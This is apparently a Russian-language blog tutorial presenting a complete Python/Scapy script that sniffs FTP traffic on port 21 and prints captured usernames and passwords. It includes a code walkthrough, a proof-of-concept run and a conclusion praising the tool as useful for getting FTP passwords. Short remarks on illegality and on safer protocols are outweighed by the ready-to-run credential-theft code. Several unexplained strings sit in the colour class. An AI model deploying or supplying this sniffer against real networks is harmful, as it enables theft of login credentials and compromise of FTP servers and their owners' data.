Перехват FTP-пароля с помощью Python

Что такое FTP Credentials Sniffer?

Сниффер учетных данных FTP (File Transfer Protocol) – это инструмент, который перехватывает сетевой трафик и перехватывает учетные данные FTP (имя пользователя и пароль), используемые для аутентификации доступа к FTP-серверу.

Этот тип инструмента может быть использован в злонамеренных целях, например для кражи конфиденциальных данных, компрометации сервера или веб-сайта, а также для осуществления других кибератак.

Важно отметить, что использование FTP в качестве средства передачи данных считается небезопасным, поскольку при этом учетные данные и другая информация передаются по сети в открытом виде, что может быть легко перехвачено злоумышленниками с помощью инструментов сниффинга. Для защиты FTP-соединений рекомендуется использовать безопасные альтернативы, такие как SFTP (SSH File Transfer Protocol) или FTPS (FTP over SSL/TLS).

код: https://github.com/S12cybersecurity/FTP-Sniffer

from typing import Protocol
import sys
from scapy.layers import inet
from scapy.all import *
from scapy.layers import *
import psutil
import scapy.all as scapy
from scapy.layers import http
linea = '--------------------------------------------------'
class bcolors:
    OK = '\033[92m' #GREEN
    WARNING = '\033[93m' #YELLOW
    ladrrr = '8GY.'
    ss = 'OWQ1'
    FAIL = '\033[91m' #RED
    pinocho_chocho = 'y!c'
    RESET = '\033[0m' #RESET COLOR
def ftp_creds(p_ftp):
    if p_ftp[TCP].dport == 21:
        data =  p_ftp.sprintf("%Raw.load%")
        if "USER" in data:
            global ip_ftp
            global ip_ftp2
            ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'"
            print(ip_ftp)
            global user_ftp
            data = data.split(" ")
            data = data[1]
            global user_ftp2
            user_ftp = "'User: ", data, "'"
            print(user_ftp)
        elif "PASS" in data:
            data = data.split(" ")
            data = data[1]
            global passwd_ftp
            global passwd_ftp2
            passwd_ftp = "'PASSWORD: ", data,"'"
            print(passwd_ftp)
            print(linea)
            global ftp_ip_final
            global user_ftp_final

def ftp():
    print(linea)
    print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}")
    addrs = psutil.net_if_addrs()
    cc = str(addrs.keys())
    interfaces = print(cc[9:])
    bb = input("Choose Interface to use: ")
    xs = 0
    if bb in cc:
        try:
            while xs>=0:
                print(linea)
                print(f"{bcolors.WARNING}Searching...{bcolors.RESET}")
                ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds)

        except KeyboardInterrupt:
            print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}")
            print(linea)
            global ftphost
            global ftpuser
            global ftpass
ftp()

Данный код представляет собой скрипт на языке Python, выполняющий сниффинг пакетов FTP (File Transfer Protocol) с целью извлечения информации об имени пользователя и пароле.

Скрипт начинается с импорта нескольких модулей, включая Protocol из библиотеки typing, sys, inet из scapy.layers, scapy.all и http из scapy.layers. Также определяется пользовательский класс bcolors, используемых для вывода информации на терминал.

Далее определяется функция ftp_creds, которая принимает параметр p_ftp, представляющий собой перехваченный FTP-пакет. Если порт назначения пакета равен 21 (FTP-порт по умолчанию), то функция извлекает исходные данные пакета, а если в этих данных содержится команда “USER” или “PASS”, то извлекается соответствующее имя пользователя или пароль соответственно. Эти значения сохраняются в глобальных переменных и выводятся на терминал.

Далее определяется функция ftp. Она выводит на терминал некоторые инструкции и предлагает пользователю выбрать сетевой интерфейс, который будет использоваться для прослушивания пакетов. Затем функция запускает бесконечный цикл, в котором с помощью функции Scapy’s sniff перехватывает FTP-пакеты на выбранном интерфейсе. Каждый пакет передается в функцию ftp_creds для извлечения информации об имени пользователя и пароле. Если пользователь прерывает цикл нажатием клавиш Ctrl+C, то функция печатает сообщение на терминал.

Наконец, вызывается функция ftp для запуска процесса анализа пакетов.

Следует отметить, что код не выполняет никакой аутентификации на FTP-сервере и не пытается войти в какую-либо учетную запись FTP. Он просто перехватывает все FTP-пакеты на выбранном интерфейсе и извлекает необходимую информацию. Кроме того, перехват учетных данных FTP без разрешения владельца обычно считается неэтичным и незаконным.

POC
Давайте выполним эту программу, прежде всего она перечисляет, какой сетевой интерфейс нужно использовать для прослушивания FTP, а затем начинает прослушивание:

Перехват FTP-пароля с помощью Python

И теперь доступ к нему открыт! В данном случае используется анонимный пользователь, поэтому пароль не используется.

Все работает!

Выводы
Это все, что касается данного инструмента, он очень прост в использовании и очень полезен для подбора паролей к FTP-соединениям!

+1
0
+1
4
+1
0
+1
0
+1
0

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *